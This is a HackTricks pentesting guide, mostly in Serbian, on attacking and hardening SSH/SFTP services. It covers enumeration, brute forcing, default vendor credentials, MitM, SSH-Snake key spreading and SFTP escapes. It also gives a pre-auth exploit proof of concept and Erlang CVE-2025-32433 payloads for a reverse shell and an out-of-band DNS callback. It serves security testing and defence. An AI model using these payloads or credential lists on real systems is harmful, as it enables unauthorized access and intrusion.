# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## Osnovne informacije **SSH (Secure Shell ili Secure Socket Shell)** je mrežni protokol koji omogućava sigurnu vezu sa računarom preko nesigurne mreže. Ključan je za očuvanje poverljivosti i integriteta podataka prilikom pristupa udaljenim sistemima. **Podrazumevani port:** 22 ``` 22/tcp open ssh syn-ack ``` **SSH serveri:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, isporučen u BSD, Linux distribucijama i Windows od Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementacija za okruženja sa niskim memorijskim i procesorskim resursima, isporučena u OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementacija za Windows, klijent se često koristi, ali je korišćenje servera ređe - [CopSSH](https://www.itefix.net/copssh) – implementacija OpenSSH za Windows **SSH biblioteke (implementacija na serverskoj strani):** - [libssh](https://www.libssh.org) – multiplatformska C biblioteka koja implementira SSHv2 protokol sa vezama u [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); koristi se od strane KDE za sftp i od strane GitHub-a za git SSH infrastrukturu - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server biblioteka napisana u ANSI C i usmerena na ugrađene, RTOS i okruženja sa ograničenim resursima - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java biblioteka zasnovana na Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol biblioteka ## Enumeracija ### Prikupljanje banera ```bash nc -vn 22 ``` ### Automated ssh-audit ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) je ažurirani fork od [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Karakteristike:** - Podrška za SSH1 i SSH2 protokol servera; - analizira konfiguraciju SSH klijenta; - uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju; - prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod za autentifikaciju poruka; - izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd); - izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera); - izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd); - analizira kompatibilnost verzija SSH na osnovu informacija o algoritmima; - istorijske informacije iz OpenSSH, Dropbear SSH i libssh; - radi na Linux-u i Windows-u; - bez zavisnosti ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Javni SSH ključ servera ```bash ssh-keyscan -t rsa -p ``` ### Slabi šifarski algoritmi Ovo se otkriva podrazumevano pomoću **nmap**. Ali možete koristiti i **sslcan** ili **sslyze**. ### Nmap skripte ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## Brute force korisnička imena, lozinke i privatne ključeve ### Enumeracija korisničkih imena U nekim verzijama OpenSSH možete izvršiti napad vremenskom razlikom kako biste enumerisali korisnike. Možete koristiti metasploit modul kako biste iskoristili ovo: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [Brute force](../generic-hacking/brute-force.md#ssh) Neki uobičajeni ssh kredencijali [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [ovde](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) i ispod. ### Private Key Brute Force Ako znate neke ssh privatne ključeve koji bi mogli biti korišćeni... hajde da probamo. Možete koristiti nmap skriptu: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` Ili MSF pomoćni modul: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Poznate loše ključeve možete pronaći ovde: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### Slabi SSH ključevi / Debian predvidljiv PRNG Neki sistemi imaju poznate greške u nasumičnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se može probiti. Pre-generisani setovi ključeva generisanih na Debian sistemima pogođenim slabim PRNG su dostupni ovde: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu mašinu. ### Kerberos **crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` da **autentifikuje putem kerberos**.\ Za više informacija pokrenite `crackmapexec ssh --help`. ## Podrazumevane kredencijale | **Dobavljač** | **Korisnička imena** | **Lozinke** | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM Ako ste u lokalnoj mreži kao žrtva koja će se povezati na SSH server koristeći korisničko ime i lozinku, mogli biste pokušati da **izvršite MitM napad kako biste ukrali te kredencijale:** **Put napada:** - **Preusmeravanje saobraćaja:** Napadač **preusmerava** saobraćaj žrtve na svoju mašinu, efikasno **presrećući** pokušaj povezivanja na SSH server. - **Presretanje i logovanje:** Napadačeva mašina deluje kao **proxy**, **hvatajući** korisničke podatke za prijavu pretvarajući se da je legitimni SSH server. - **Izvršavanje komandi i prosleđivanje:** Na kraju, napadačev server **loguje korisničke kredencijale**, **prosleđuje komande** pravom SSH serveru, **izvršava** ih i **šalje rezultate nazad** korisniku, čineći proces da izgleda besprekorno i legitimno. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) radi upravo ono što je opisano iznad. Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofinga, DNS spoofinga ili druge opisane u [**Napadima na mrežno spoofing**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda je [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ono što vam treba. SSH-Snake automatski i rekurzivno obavlja sledeće zadatke: 1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve, 2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti, 3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve, 4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na sistemu na koji ste se povezali. Potpuno se samoreplicira i samoproširuje -- i potpuno je bez datoteka. ## Konfiguracione greške ### Root prijava Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administratorskim privilegijama i napadi brute force mogu se ublažiti ovom promenom. **Da biste onemogućili root prijavu u OpenSSH:** 1. **Izmenite SSH konfiguracioni fajl** sa: `sudoedit /etc/ssh/sshd_config` 2. **Promenite podešavanje** sa `#PermitRootLogin yes` na **`PermitRootLogin no`**. 3. **Ponovo učitajte konfiguraciju** koristeći: `sudo systemctl daemon-reload` 4. **Ponovo pokrenite SSH server** da primenite promene: `sudo systemctl restart sshd` ### SFTP Brute Force - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) ### Izvršavanje komandi SFTP Postoji uobičajena greška koja se dešava sa SFTP podešavanjima, gde administratori nameravaju da korisnici razmenjuju datoteke bez omogućavanja daljinskog pristupa shell-u. Iako su korisnici postavljeni sa neinteraktivnim shell-ovima (npr. `/usr/bin/nologin`) i ograničeni na određeni direktorijum, ostaje sigurnosna rupa. **Korisnici mogu zaobići ova ograničenja** tražeći izvršavanje komande (poput `/bin/bash`) odmah nakon prijavljivanja, pre nego što njihov dodeljeni neinteraktivni shell preuzme. Ovo omogućava neovlašćeno izvršavanje komandi, potkopavajući nameravane sigurnosne mere. [Primer odavde](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` Evo primera sigurne SFTP konfiguracije (`/etc/ssh/sshd_config` – openSSH) za korisnika `noraj`: ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` Ova konfiguracija će omogućiti samo SFTP: onemogućavanje pristupa ljusci prisiljavanjem start komande i onemogućavanjem TTY pristupa, ali takođe onemogućava sve vrste prosleđivanja portova ili tunelovanja. ### SFTP Tunneling Ako imate pristup SFTP serveru, možete takođe tunelovati svoj saobraćaj kroz ovo, na primer koristeći uobičajeno prosleđivanje portova: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**. For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: ```bash sftp> symlink / froot ``` Ako možete pristupiti datoteci "_froot_" putem veba, moći ćete da prikažete root ("/") folder sistema. ### Metode autentifikacije U okruženju sa visokom sigurnošću, uobičajena praksa je omogućiti samo autentifikaciju zasnovanu na ključevima ili dvostruku autentifikaciju umesto jednostavne autentifikacije zasnovane na lozinkama. Ali često se jače metode autentifikacije omogućavaju bez onemogućavanja slabijih. Čest slučaj je omogućavanje `publickey` u openSSH konfiguraciji i postavljanje kao podrazumevanu metodu, ali ne onemogućavanje `password`. Tako da korišćenjem verbose moda SSH klijenta, napadač može videti da je slabija metoda omogućena: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` Na primer, ako je postavljen limit za neuspehe autentifikacije i nikada ne dobijete priliku da dođete do metode lozinke, možete koristiti opciju `PreferredAuthentications` da primorate korišćenje ove metode. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` Proverite konfiguraciju SSH servera kako biste osigurali da su samo očekivane metode autorizovane. Korišćenje verbose moda na klijentu može pomoći da se vidi efikasnost konfiguracije. ### Config files ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## Obilaženje Stanja Mašine za Autentifikaciju (Pre-Auth RCE) Nekoliko implementacija SSH servera sadrži logičke greške u **mašini za konačnu autentifikaciju** koje omogućavaju klijentu da šalje *poruke protokola veze* **pre nego što** autentifikacija završi. Pošto server ne uspeva da verifikuje da se nalazi u ispravnom stanju, te poruke se obrađuju kao da je korisnik potpuno autentifikovan, što dovodi do **neautentifikovane izvršavanja koda** ili kreiranja sesije. Na protokolskom nivou, svaka SSH poruka sa _kodom poruke_ **≥ 80** (0x50) pripada *sloju veze* (RFC 4254) i mora **biti prihvaćena samo nakon uspešne autentifikacije** (RFC 4252). Ako server obradi jednu od tih poruka dok je još u *SSH_AUTHENTICATION* stanju, napadač može odmah kreirati kanal i zahtevati akcije kao što su izvršavanje komandi, prosleđivanje portova, itd. ### Opšti Koraci Eksploatacije 1. Uspostavite TCP vezu sa SSH portom cilja (obično 22, ali druge usluge mogu izlagati Erlang/OTP na 2022, 830, 2222…). 2. Kreirajte sirovi SSH paket: * 4-bajtni **packet_length** (big-endian) * 1-bajtni **message_code** ≥ 80 (npr. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * Payload koji će biti razumljiv odabranom tipu poruke 3. Pošaljite paket(e) **pre nego što završite bilo koji korak autentifikacije**. 4. Interagujte sa server API-ima koji su sada izloženi _pre-auth_ (izvršavanje komandi, prosleđivanje portova, pristup sistemu datoteka, …). Python primer koncepta: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` U praksi ćete morati da izvršite (ili preskočite) razmenu ključeva u skladu sa implementacijom cilja, ali **nikakva autentifikacija** se nikada ne vrši. --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **Pogođene verzije:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Osnovni uzrok:** Erlang nativni SSH daemon ne validira trenutni status pre nego što pozove `ssh_connection:handle_msg/2`. Stoga svaki paket sa kodom poruke 80-255 dolazi do rukovaoca veze dok je sesija još u *userauth* stanju. * **Uticaj:** neautentifikovana **daljinska izvršenja koda** (daemon obično radi kao **root** na ugrađenim/OT uređajima). Primer payload-a koji pokreće reverznu ljusku vezanu za kanal pod kontrolom napadača: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` Blind RCE / out-of-band detekcija može se izvršiti putem DNS-a: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` Detection & Mitigation: * Istražite SSH saobraćaj: **odbacite bilo koji paket sa kodom poruke ≥ 80 zabeleženim pre autentifikacije**. * Ažurirajte Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** ili noviji. * Ograničite izloženost portova za upravljanje (22/2022/830/2222) – posebno na OT opremi. --- ### Other Implementations Affected * **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – prihvata neautentifikovani `SSH_MSG_USERAUTH_SUCCESS` poslat od strane klijenta, što je zapravo obrnuta logička greška. Zajednička lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; prilikom pregleda ili fuzzinga SSH demona obratite posebnu pažnju na *provođenje stanja mašine*. ## References - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}